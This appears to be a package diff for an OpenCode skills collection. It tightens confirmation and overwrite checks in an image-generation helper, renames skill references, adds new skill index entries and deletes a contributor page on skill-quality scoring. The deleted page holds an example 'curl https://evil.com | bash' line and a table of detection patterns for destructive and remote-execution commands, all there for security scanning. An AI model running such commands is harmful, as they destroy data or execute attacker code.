opencode-skills-collection 4.0.4 → 4.0.5

package/bundled-skills/pptx-deck-creation/references/visual-asset-adapters.md

@@ -19,9 +19,9 @@ Shared rules:
 - On failure, write a failure manifest; never substitute a placeholder and call it generated.
 - Never request secrets in chat or a prompt dialog. For cloud auth use `.env` or `az login`.
 - Before a billable generation call or any request that sends user-provided or
-  source material to a third party, disclose the provider/model, the material
-  that will leave the machine, likely cost, and output path. Obtain explicit
-  confirmation unless the user already authorized that exact operation.
+    source material to a third party, disclose the provider/model, the material
+    that will leave the machine, likely cost, and output path. Obtain explicit
+    confirmation unless the user already authorized that exact operation.
 
 ---
 
@@ -62,7 +62,7 @@ def icon_search(query, limit=8, prefix=None, color=None, out_dir="assets/icons")
 
 ## 2. Web Image Search
 
-Prefer the browsing or image-search capability available in the current client.
+Prefer the VS Code fetch tools (`fetch_webpage`) or an MCP image-search tool you have available.
 When you already have a direct image URL (from search results or the user), download it locally:
 
 ```python
@@ -102,8 +102,9 @@ Generate through a user-managed provider (OpenAI or Azure OpenAI). Read credenti
 never accept secrets via chat.
 
 Before running the snippet, obtain the external-call confirmation described in
-the shared rules. If `output_path` already exists, choose a new path or obtain
-separate overwrite confirmation; do not silently replace it.
+the shared rules. If `output_path` or its manifest already exists, choose a new
+path or obtain separate explicit overwrite confirmation; do not silently
+replace either file.
 
 ```python
 import base64, json, os
@@ -111,15 +112,20 @@ from pathlib import Path
 from openai import OpenAI, AzureOpenAI  # provided by the user's environment
 
 def text_to_infographic(prompt, output_path, provider="openai",
-                        model_or_deployment="gpt-image-1", size="1024x1024"):
+                        model_or_deployment="gpt-image-1", size="1024x1024",
+                        confirmed=False, allow_overwrite=False):
     output = Path(output_path)
     manifest_path = output.with_suffix(".manifest.json")
     existing = [path for path in (output, manifest_path) if path.exists()]
-    if existing:
+    if existing and not allow_overwrite:
         raise FileExistsError(f"Refusing to overwrite existing paths: {existing}")
     manifest_path.parent.mkdir(parents=True, exist_ok=True)
     manifest = {"provider": provider, "model_or_deployment": model_or_deployment,
                 "output_path": output_path}
+    if not confirmed:
+        manifest.update(status="cancelled", error="External generation was not confirmed")
+        manifest_path.write_text(json.dumps(manifest, indent=2), encoding="utf-8")
+        return manifest
     try:
         if provider == "azure-openai":
             client = AzureOpenAI(
@@ -130,17 +136,20 @@ def text_to_infographic(prompt, output_path, provider="openai",
         else:
             client = OpenAI(api_key=os.environ["OPENAI_API_KEY"])
         result = client.images.generate(model=model_or_deployment, prompt=prompt, size=size)
-        output.parent.mkdir(parents=True, exist_ok=True)
         output.write_bytes(base64.b64decode(result.data[0].b64_json))
         manifest["status"] = "ok"
     except Exception as exc:  # report, never fake-generate
         manifest.update(status="error", error=str(exc))
-    manifest_path.write_text(json.dumps(manifest, indent=2))
+    manifest_path.write_text(json.dumps(manifest, indent=2), encoding="utf-8")
     return manifest
 ```
 
-- Ask the user for any missing non-secret values: provider, prompt,
-  model/deployment, size, and output path.
+- Collect missing values via `vscode_askQuestions`: provider, prompt, model/deployment, size, output path.
+- Before calling the function, disclose the provider/model, material leaving
+  the machine, likely cost, and output path. Set `confirmed=True` only after
+  the user explicitly authorizes that exact external request. Set
+  `allow_overwrite=True` only after separate explicit approval to replace every
+  existing output or manifest path.
 - Use `.env` or `az login` for auth; never ask for keys/tokens in chat or the dialog.
 - Use generated art as a supporting visual. Recreate essential text, labels,
   metrics, and steps with native PowerPoint objects. Add a vector asset only
@@ -155,4 +164,5 @@ NotebookLM has no public generation API, so treat this as an optional, user-conf
 - If the user has a NotebookLM/MCP bridge tool configured, call it with `source_refs` + `prompt`,
   then save the returned image locally and record provenance.
 - If no bridge is configured, **fall back to Text → Infographic (section 4)** or omit the asset.
-- Apply the same provenance and failure-manifest rules as the other generation guidelines.
+- Apply the same confirmation, overwrite, provenance, and failure-manifest
+    rules as the other generation guidelines.

package/bundled-skills/pr-writer/SKILL.md

@@ -18,14 +18,14 @@ Create pull requests following Sentry's engineering practices.
 
 ## Prerequisites
 
-Before creating a PR, ensure all changes are committed. If there are uncommitted changes, run the `sentry-skills:commit` skill first to commit them properly.
+Before creating a PR, ensure all changes are committed. If there are uncommitted changes, run the available `commit` skill first to commit them properly.
 
 ```bash
 # Check for uncommitted changes
 git status --porcelain
 ```
 
-If the output shows any uncommitted changes (modified, added, or untracked files that should be included), invoke the `sentry-skills:commit` skill before proceeding.
+If the output shows any uncommitted changes (modified, added, or untracked files that should be included), invoke the available `commit` skill before proceeding. If the client requires qualified skill names, use the qualifier for the plugin that supplied this skill.
 
 ## Process
 

package/bundled-skills/repo-maintainer/SKILL.md

@@ -31,6 +31,8 @@ Before mutation:
 
 If the repository names a mandatory maintainer skill or guarded command, delegate to it instead of inventing a parallel branch, merge, sync, or release path. In `agentic-awesome-skills`, use `antigravity-maintainer-batch-release` and `npm run merge:batch`; `main` is pull-request-only.
 
+The routine protected checks for `agentic-awesome-skills` are `pr-policy`, `pr-evidence`, `source-validation`, and `artifact-preview`. The supported AAS Core preview uses targeted unit tests plus one packed Linux/Node LTS smoke path and Workbench review. Do not resurrect the retired certified-v1 baseline, benchmark, tuning-gold, transaction-fault, race, or frozen OS/runtime matrix as routine merge gates.
+
 ## Usage
 
 ### 1. Establish the baseline
@@ -70,7 +72,7 @@ Treat audit-tool output as evidence to verify, not automatic permission to upgra
 #### CI and release health
 
 - failing, cancelled, skipped, or stale workflow runs;
-- inconsistent runtime matrices and unpinned or obsolete actions;
+- stale, redundant, or unjustifiably broad runtime matrices and unpinned or obsolete actions;
 - required checks, branch protection, release permissions, and secret boundaries;
 - mismatch between documented and implemented release commands.
 
@@ -82,7 +84,7 @@ Treat audit-tool output as evidence to verify, not automatic permission to upgra
 
 #### Code-quality signals
 
-- dead code, stale TODO/FIXME items, debug logging, commented-out code, and missing tests;
+- dead code, stale implementation markers, debug logging, commented-out code, and missing tests;
 - unsafe defaults, suppressed errors, credential exposure, and environment-specific paths.
 
 For FAF projects only, also inspect declared `.faf`, `.faf-dna`, sync, score, and MCP contracts with the project's installed FAF commands.

package/bundled-skills/tools-page-seo-optimizer/SKILL.md

@@ -593,12 +593,12 @@ seo:full()  { seo:quick; }
 
 ## Related Skills
 
-- [schema-markup-generator](/skills/schema-markup-generator/SKILL.md) — JSON-LD structured data (HowTo, FAQPage, WebApplication) for tool pages
-- [social-metadata-hardening](/skills/social-metadata-hardening/SKILL.md) — OG tags and social sharing previews for tool pages
-- [indexing-issue-auditor](/skills/indexing-issue-auditor/SKILL.md) — full crawl audit and redirect mapping after slug changes
-- [pagespeed-enhancer](/skills/pagespeed-enhancer/SKILL.md) — Lighthouse / Core Web Vitals audit for tool pages
-- [wordpress-centric-high-seo-optimized-blogwriting-skill](/skills/wordpress-centric-high-seo-optimized-blogwriting-skill/SKILL.md) — blog post writing with SEO structure
-- [vibecode-production-qa-validator](/skills/vibecode-production-qa-validator/SKILL.md) — end-to-end production QA including deployment verification
+- [schema-markup-generator](../schema-markup-generator/SKILL.md) — JSON-LD structured data (HowTo, FAQPage, WebApplication) for tool pages
+- [social-metadata-hardening](../social-metadata-hardening/SKILL.md) — OG tags and social sharing previews for tool pages
+- [indexing-issue-auditor](../indexing-issue-auditor/SKILL.md) — full crawl audit and redirect mapping after slug changes
+- [pagespeed-enhancer](../pagespeed-enhancer/SKILL.md) — Lighthouse / Core Web Vitals audit for tool pages
+- [wordpress-centric-high-seo-optimized-blogwriting-skill](../wordpress-centric-high-seo-optimized-blogwriting-skill/SKILL.md) — blog post writing with SEO structure
+- [vibecode-production-qa-validator](../vibecode-production-qa-validator/SKILL.md) — end-to-end production QA including deployment verification
 
 ---
 

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "opencode-skills-collection",
-  "version": "4.0.4",
+  "version": "4.0.5",
   "description": "OpenCode CLI plugin that automatically downloads and keeps skills up to date.",
   "main": "dist/index.js",
   "types": "dist/index.d.ts",

package/skills_index.json

@@ -100,7 +100,7 @@
     "path": "skills/game-development/2d-games",
     "category": "game-development",
     "name": "2d-games",
-    "description": "2D game development principles. Sprites, tilemaps, physics, camera.",
+    "description": "2D game development principles. Sprites, atlases, tilemaps, physics, cameras, and genre patterns (platformer, top-down). Use for canvas/Phaser/Kaplay/Pixi 2D games or guest viewports inside hybrid web apps.",
     "risk": "none",
     "source": "community",
     "date_added": "2026-02-27",
@@ -2371,6 +2371,28 @@
       "reasons": []
     }
   },
+  {
+    "id": "antigravity-maintainer-batch-release",
+    "path": "skills/antigravity-maintainer-batch-release",
+    "category": "uncategorized",
+    "name": "antigravity-maintainer-batch-release",
+    "description": "Run protected AAS maintainer sweeps, PR merge batches, canonical sync, Core preview checks, and scripted releases. Use for repository maintenance, main alignment, CLI/MCP/Workbench changes, or release work; not ordinary contribution tasks.",
+    "risk": "critical",
+    "source": "self",
+    "date_added": "2026-07-18",
+    "plugin": {
+      "targets": {
+        "codex": "supported",
+        "claude": "supported"
+      },
+      "setup": {
+        "type": "none",
+        "summary": "",
+        "docs": null
+      },
+      "reasons": []
+    }
+  },
   {
     "id": "antigravity-skill-orchestrator",
     "path": "skills/antigravity-skill-orchestrator",
@@ -12530,7 +12552,7 @@
     "path": "skills/create-pr",
     "category": "workflow",
     "name": "create-pr",
-    "description": "Alias for sentry-skills:pr-writer. Use when users explicitly ask for \"create-pr\" or reference the legacy skill name. Redirects to the canonical PR writing workflow.",
+    "description": "Alias for pr-writer. Use when users explicitly ask for \"create-pr\" or reference the legacy skill name. Redirects to the canonical PR writing workflow.",
     "risk": "unknown",
     "source": "community",
     "date_added": null,
@@ -16843,6 +16865,28 @@
       "reasons": []
     }
   },
+  {
+    "id": "engine-selection",
+    "path": "skills/game-development/engine-selection",
+    "category": "game-development",
+    "name": "engine-selection",
+    "description": "Selects game engines and frameworks by platform, genre, and architecture (full canvas shell vs hybrid DOM shell + guest viewport). Covers Phaser, PixiJS, Kaplay, Canvas/WebGL, Three.js, Babylon.js, Godot, Unity, Ink, Twine. Use when choosing a stack or comparing runtimes before implementation.",
+    "risk": "safe",
+    "source": "self",
+    "date_added": "2026-07-17",
+    "plugin": {
+      "targets": {
+        "codex": "supported",
+        "claude": "supported"
+      },
+      "setup": {
+        "type": "none",
+        "summary": "",
+        "docs": null
+      },
+      "reasons": []
+    }
+  },
   {
     "id": "enhance-prompt",
     "path": "skills/enhance-prompt",
@@ -19903,7 +19947,7 @@
     "path": "skills/game-development",
     "category": "game-development",
     "name": "game-development",
-    "description": "Game development orchestrator. Routes to platform-specific skills based on project needs.",
+    "description": "Game development orchestrator. Routes by platform, dimension, and engine fit (web 2D/3D, hybrid DOM+canvas, narrative tools). Use when starting or structuring a game project, choosing frameworks, or picking among Phaser, PixiJS, Kaplay, Canvas/WebGL, Three.js, Babylon.js, Godot, Unity, or Ink/Twine.",
     "risk": "unknown",
     "source": "community",
     "date_added": "2026-02-27",
@@ -28479,6 +28523,39 @@
       "claude-code"
     ]
   },
+  {
+    "id": "modellix",
+    "path": "skills/modellix",
+    "category": "creative",
+    "name": "modellix",
+    "description": "Integrate Modellix unified API/CLI for async AI image and video generation (model run --wait, task download).",
+    "risk": "critical",
+    "source": "community",
+    "date_added": "2026-07-16",
+    "plugin": {
+      "targets": {
+        "codex": "supported",
+        "claude": "supported"
+      },
+      "setup": {
+        "type": "none",
+        "summary": "",
+        "docs": null
+      },
+      "reasons": []
+    },
+    "source_type": "official",
+    "source_repo": "Modellix/modellix-skill",
+    "license": "MIT",
+    "license_source": "https://github.com/Modellix/modellix-skill/blob/main/LICENSE",
+    "tags": [
+      "image-generation",
+      "video-generation",
+      "modellix",
+      "cli",
+      "api"
+    ]
+  },
   {
     "id": "modern-javascript-patterns",
     "path": "skills/modern-javascript-patterns",
@@ -42897,15 +42974,17 @@
     "date_added": "2026-06-19",
     "plugin": {
       "targets": {
-        "codex": "supported",
-        "claude": "supported"
+        "codex": "blocked",
+        "claude": "blocked"
       },
       "setup": {
         "type": "none",
         "summary": "",
         "docs": null
       },
-      "reasons": []
+      "reasons": [
+        "escaped_local_reference"
+      ]
     },
     "source_type": "community",
     "tags": [
@@ -45696,7 +45775,7 @@
     "path": "skills/game-development/web-games",
     "category": "game-development",
     "name": "web-games",
-    "description": "Web browser game development principles. Framework selection, WebGPU, optimization, PWA.",
+    "description": "Web browser game development. Framework selection (Phaser, PixiJS, Kaplay, Canvas/WebGL, Three.js, Babylon.js), hybrid DOM+canvas, WebGPU, optimization, PWA, audio unlock. Use when building HTML5/WebGL/WebGPU games or choosing a browser runtime.",
     "risk": "unknown",
     "source": "community",
     "date_added": "2026-02-27",

package/bundled-skills/docs/contributors/skill-scoring.md

@@ -1,235 +0,0 @@
-# Skill Quality Scoring
-
-This document describes the optional skill quality scoring system introduced in the
-AI Skill Registry Validation Framework.
-
-Scores are **informational only** — they never block skill usage, CI pipelines,
-or PR merges. They exist to help contributors understand the quality of their
-skills and to help maintainers prioritize improvements.
-
----
-
-## Overview
-
-Each skill receives a **total score** between 0 and 100, computed as a weighted
-average of three dimensions:
-
-| Dimension       | Weight | What it measures |
-|-----------------|--------|------------------|
-| Metadata        | 30%    | Frontmatter completeness and correctness |
-| Documentation   | 40%    | Section coverage, code examples, content depth |
-| Security        | 30%    | Absence of dangerous command patterns |
-
----
-
-## Quality Labels
-
-| Label             | Score Range | Meaning |
-|-------------------|-------------|---------|
-| `excellent`       | 85–100      | Well-documented, complete metadata, no security flags |
-| `good`            | 65–84       | Solid skill with minor gaps |
-| `needs_improvement` | 45–64    | Missing sections or metadata fields |
-| `critical`        | 0–44        | Significant gaps — review recommended before sharing |
-
----
-
-## Metadata Score (30%)
-
-The metadata dimension evaluates frontmatter field completeness.
-
-**Penalties:**
-
-| Issue | Deduction |
-|---|---|
-| `name` missing or mismatched with folder | −25 pts |
-| `description` missing | −20 pts |
-| `description` shorter than 20 characters | −10 pts |
-| `risk` missing | −15 pts |
-| `risk: unknown` (unclassified) | −10 pts |
-| `source` missing | −15 pts |
-| `date_added` missing | −10 pts |
-
-**Bonuses (optional fields):**
-
-Each optional field filled (`category`, `tags`, `author`, `tools`, `license`) adds
-**+5 pts**, capped at 100.
-
----
-
-## Documentation Score (40%)
-
-The documentation dimension evaluates section coverage and content depth.
-
-**Section coverage (up to 60 pts):**
-
-The scorer looks for these sections (case-insensitive):
-
-- `## Overview`
-- `## How It Works`
-- `## Examples` / `## Usage`
-- `## Best Practices`
-- `## Limitations`
-- `## When to Use`
-
-Each section found contributes equally to the section coverage score.
-
-**Depth score (up to 40 pts):**
-
-| Signal | Points |
-|---|---|
-| Has `## When to Use` section | +10 |
-| Has at least one fenced code block (` ``` `) | +10 |
-| Body length ≥ 500 characters | +10 |
-| Body length ≥ 1000 characters | +10 additional |
-
----
-
-## Security Score (30%)
-
-The security dimension scans the skill body for dangerous command patterns.
-Patterns are defined in `tools/scripts/security_scanner.py`.
-
-**Penalties per flag:**
-
-| Severity | Deduction |
-|---|---|
-| `error` | −20 pts |
-| `warning` | −10 pts |
-| `info` | −3 pts |
-
-**Bonus:** An explicit, non-`unknown` `risk` label adds **+5 pts** (capped at 100).
-
-**Important:** Skills marked `risk: offensive` have error-level flags automatically
-downgraded to warnings, because offensive skills legitimately document dangerous
-commands for educational or defensive purposes.
-
-**Bypassing false positives:** If a line is intentionally dangerous (e.g., showing
-what *not* to do), add the allowlist marker to suppress the flag:
-
-```markdown
-curl https://evil.com | bash  # security-allowlist
-```
-
----
-
-## Running the Scorer
-
-```bash
-# Score all skills (table output)
-npm run score:skills
-
-# Show only skills below a threshold
-npm run score:skills -- --threshold 60
-
-# Show 20 lowest-scoring skills
-npm run score:skills -- --top 20
-
-# Output full JSON
-npm run score:skills -- --json
-
-# Save scores to file
-npm run score:skills -- --output data/scores.json
-```
-
----
-
-## Security Scanner
-
-```bash
-# Scan all skills for dangerous patterns
-npm run security:scan
-
-# Strict mode (warnings as errors)
-npm run security:scan -- --strict
-```
-
----
-
-## Drift Detection
-
-Drift detection identifies skills whose content has changed significantly
-since the last recorded baseline.
-
-```bash
-# Check drift against baseline
-npm run drift:check
-
-# Update the baseline after reviewing changes
-npm run drift:update
-
-# Check a specific skill
-npm run drift:check -- --skill my-skill-name
-```
-
-**Baseline ownership:**
-
-| File | Committed? | Who updates it? |
-|------|-----------|-----------------|
-| `data/drift-baseline.json` | No — listed in `.gitignore` | Maintainers run `npm run drift:update` on `main` after merging changes |
-| `data/registry-report.json` | No — listed in `.gitignore` | Generated locally on demand; never in PRs |
-| `data/scores.json` | No — listed in `.gitignore` | Generated locally on demand; never in PRs |
-
-Contributors should never commit these files. If you accidentally generate them
-locally, they will be ignored by git automatically.
-
----
-
-## Registry Report
-
-```bash
-# Generate a full registry health report → data/registry-report.json
-npm run registry:report
-
-# Skip drift detection (faster)
-npm run registry:report -- --no-drift
-```
-
-The report includes:
-- Aggregate scoring summary
-- Per-skill scores and flags
-- Drift summary (added / removed / modified skills)
-- Risk breakdown
-- Security flag counts
-
----
-
-## Security Patterns Reference
-
-| Code   | Pattern | Severity | Description |
-|--------|---------|----------|-------------|
-| SEC001 | `rm -rf /` | error | Destructive root filesystem deletion |
-| SEC002 | `curl \| bash` | error | Remote code execution |
-| SEC003 | `wget \| sh` | error | Remote code execution |
-| SEC004 | `Invoke-Expression` | error | PowerShell RCE |
-| SEC005 | `iex` | warning | PowerShell alias (context-dependent) |
-| SEC006 | `chmod 7xx` | warning | World-writable permissions |
-| SEC007 | `eval(` | warning | Dynamic evaluation |
-| SEC008 | `base64 -d \|` | warning | Possible payload obfuscation |
-| SEC009 | Hardcoded credential | error | Secrets in source |
-| SEC010 | `sudo rm -rf` | warning | Privileged destructive deletion |
-| SEC011 | Fork bomb | error | Infinite process spawner |
-| SEC012 | `dd if=/dev/* of=/dev/sd*` | error | Raw disk overwrite |
-
----
-
-## Frequently Asked Questions
-
-**Q: Will a low score prevent my skill from being merged?**
-
-No. Scores are informational. The existing `validate_skills.py` checks are what
-gate merges.
-
-**Q: My skill teaches how to avoid `curl | bash` — why is it flagged?**
-
-Add `# security-allowlist` at the end of the line showing the dangerous pattern.
-This follows the existing project convention for educational examples.
-
-**Q: Why is documentation weighted higher than metadata?**
-
-Documentation quality has the highest impact on how useful a skill is to end users.
-Complete metadata is valuable but less critical than clear instructions.
-
-**Q: How does `risk: offensive` affect scoring?**
-
-Security error flags are downgraded to warnings for offensive skills, because they
-legitimately document dangerous techniques for authorized security work.